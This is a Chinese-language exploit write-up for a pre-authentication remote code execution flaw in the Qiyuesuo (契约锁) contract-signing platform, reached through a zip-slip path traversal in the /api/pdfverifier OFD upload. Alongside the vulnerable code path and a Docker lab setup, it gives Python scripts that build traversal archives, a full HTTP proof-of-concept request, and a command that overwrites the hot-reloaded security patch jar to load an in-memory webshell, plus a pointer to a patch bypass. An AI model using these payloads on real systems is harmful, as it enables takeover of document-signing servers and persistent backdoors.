pdfverifier 前台RCE
声明
本文版权归原作者所有,未经允许禁止转载。
影响版本
4.3.8 <= 契约锁 <= 5.x.x && 补丁版本 < 2.1.8
4.0.x <= 契约锁 <= 4.3.7 && 补丁版本 < 1.3.8
环境搭建
契约锁版本为 4.3.9, 这里使用Linux部署,教程参考:契约锁集群环境部署(两节点为例)_实施步骤_契约锁电子签约解决方案_数字化办公-华为云
使用 Docker 搭建:
docker
├─ docker-compose.yml
├─ my.cnf
├─ src # 源码
├─ limits.conf
可以修改 bash start.sh all,以启动部分服务:
docker-compose.yml
networks:
qiyuesuo-network:
driver: bridge
ipam:
config:
- subnet: 172.31.250.0/24
gateway: 172.31.250.254
services:
qiyuesuo-mysql:
container_name: qiyuesuo-mysql
environment:
- TZ=Asia/Shanghai
- MYSQL_DATABASE=qiyuesuo
- MYSQL_USER=qiyuesuo
- MYSQL_PASSWORD=123456
- MYSQL_ROOT_PASSWORD=123456
image: mysql:5.7.44
volumes:
- ./my.cnf:/etc/mysql/conf.d/mysql.cnf
- ./mysql/data:/var/lib/mysql
command: --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
networks:
qiyuesuo-network:
ipv4_address: 172.31.250.2
qiyuesuo:
image: crpi-r2ta923g837syaja.cn-hangzhou.personal.cr.aliyuncs.com/redteam-images/centos:7.9
container_name: qiyuesuo
ports:
- "9180:9180"
- "9181:9181"
- "9182:9182"
- "5005:5005"
environment:
- TZ=Asia/Shanghai
volumes:
- ./src:/app
- ./limits.conf:/etc/security/limits.conf
ulimits:
nproc:
soft: 65536
hard: 65536
nofile:
soft: 65536
hard: 65536
command: >
bash -c "
if ! id qiyuesuo > /dev/null 2>&1; then
useradd -m -s /bin/bash qiyuesuo &&
echo qiyuesuo:123456 | chpasswd &&
echo 'qiyuesuo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
fi &&
su - qiyuesuo -c '
cd /app/bin && yes | bash start.sh all
' &&
tail -f /dev/null
"
depends_on:
- qiyuesuo-mysql
networks:
qiyuesuo-network:
ipv4_address: 172.31.250.1踩坑
MySQL
要求配置:
my.cnf
[mysqld]
innodb_buffer_pool_size = 4G
max_connections = 1000
transaction_isolation = READ-COMMITTED
character-set-server=utf8mb4
collation-server=utf8mb4_unicode_ci
系统要求
qiyuesuo用户支持打开的最大文件数和最大进程数:
limits.conf
qiyuesuo soft nofile 65535
qiyuesuo hard nofile 65535
qiyuesuo soft nproc 65535
qiyuesuo hard nproc 65535
开启调试端口
在 bin/setenv.sh 中 privapp 的 JVM_OPTS 添加以下条目:
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
漏洞分析
漏洞接口如下:
/api/pdfverifier
入口:
源码路径:libs\classes\sign\com\qiyuesuo\api\PdfVerifierController.class

判断前台校验是否开启,默认开启,将文件字节数据及文件后缀传入 doVerify 方法,方法体如下:


验证 pdf 和 ofd 后缀,并分别对 pdf 和 ofd 进行不同的验证逻辑,漏洞触发点在 ofd 的验证逻辑中,将 ofd 文件字节数据传入到 isOFD 方法中,方法体如下:

判断是否为 ofd 文件类型,如果是则获取文件临时目录,调用 FileZipUtils.decompre(),并将 ofd 路径及解压路径传入,方法体如下:

对 ofd 文件以 zip 方式进行解析,并读取每个文件及目录进行解压,解压目录通过 decompreDirectory + name 进行拼接,存在任意目录穿越,可通过构造恶意 ofd 文件实现任意文件上传。
漏洞复现
文件上传
构造恶意压缩包文件,尝试上传 poc.txt :
import zipfile
import os
# 输出的ZIP文件名
zip_filename = "test.ofd"
# 要写入压缩包的内容
malicious_files = {
"..\..\..\..\..\..\..\..\..\\tmp\poc.txt": "poc\n",
}
# 创建ZIP文件
with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zipf:
for file_path, content in malicious_files.items():
zipf.writestr(file_path, content)
print(f"[+] Created malicious zip file: {zip_filename}")POC:
POST /api/pdfverifier HTTP/1.1
Host: qiyuesuo.com:9180
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: SID=ffcbba7c-924e-453d-98f3-46a9a34ab025; OSSID=26dd48a0-4a61-4082-a8f3-63d561910ea9; LOGIN_TYPE=QIYUESUO
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybEnT6oqox4nBBkdC
Content-Length: 346
------WebKitFormBoundarybEnT6oqox4nBBkdC
Content-Disposition: form-data; name="file"; filename="test.ofd"
<恶意zip文件>
------WebKitFormBoundarybEnT6oqox4nBBkdC--


注入内存马
由于契约锁以普通用户运行,因此在 Linux 上利用计划任务、覆写其他系统文件来获取权限几乎不太可用,由于契约锁存安全补丁在服务器上属于热加载,当补丁 jar 包 hash 值发生变化时,则会自动重新加载该补丁包(4.0.X 至 4.3.7 需重启服务才可重新加载补丁),利用该特性可以通过覆盖该补丁包从而代码执行。
注入器类名选择:com.qiyuesuo.security.patch.filter.logic.AXXX,可优先加载(代码加载时按照字母顺序加载):

将生成的内存马 class 文件放入 private-security-patch.jar 中的 com.qiyuesuo.security.patch.filter.logic 下:

ofd 文件生成脚本:
import zipfile
import os
import argparse
def main():
# 解析命令行参数
parser = argparse.ArgumentParser(description='生成包含指定文件的压缩包')
parser.add_argument('-p', required=True, help='压缩包内的目标路径(如../../tmp/poc.txt)')
parser.add_argument('-f', required=True, help='要添加的本地文件路径(private-security-patch.jar)')
args = parser.parse_args()
# 输出的压缩包文件名(可根据需要修改)
output_zip = "evil.ofd"
try:
# 检查本地文件是否存在
if not os.path.exists(args.f):
print(f"错误:本地文件 '{args.f}' 不存在")
return
# 创建压缩包并添加文件
with zipfile.ZipFile(output_zip, 'w', zipfile.ZIP_DEFLATED) as zipf:
# 将本地文件添加到压缩包的指定路径
zipf.write(args.f, args.p)
print(f"成功生成压缩包:{output_zip}")
print(f"文件 '{args.f}' 已添加到压缩包路径:{args.p}")
except Exception as e:
print(f"操作失败:{str(e)}")
if __name__ == "__main__":
main()
生成上传:
python ofd.py -p "../../../../../../../../proc/self/cwd/security/private-security-patch.jar" -f "evil.jar"
补丁绕过参考
https://mp.weixin.qq.com/s/u—mcFjhYly74q-Qg3D7jQ
参考链接
https://mp.weixin.qq.com/s/u—mcFjhYly74q-Qg3D7jQ?scene=1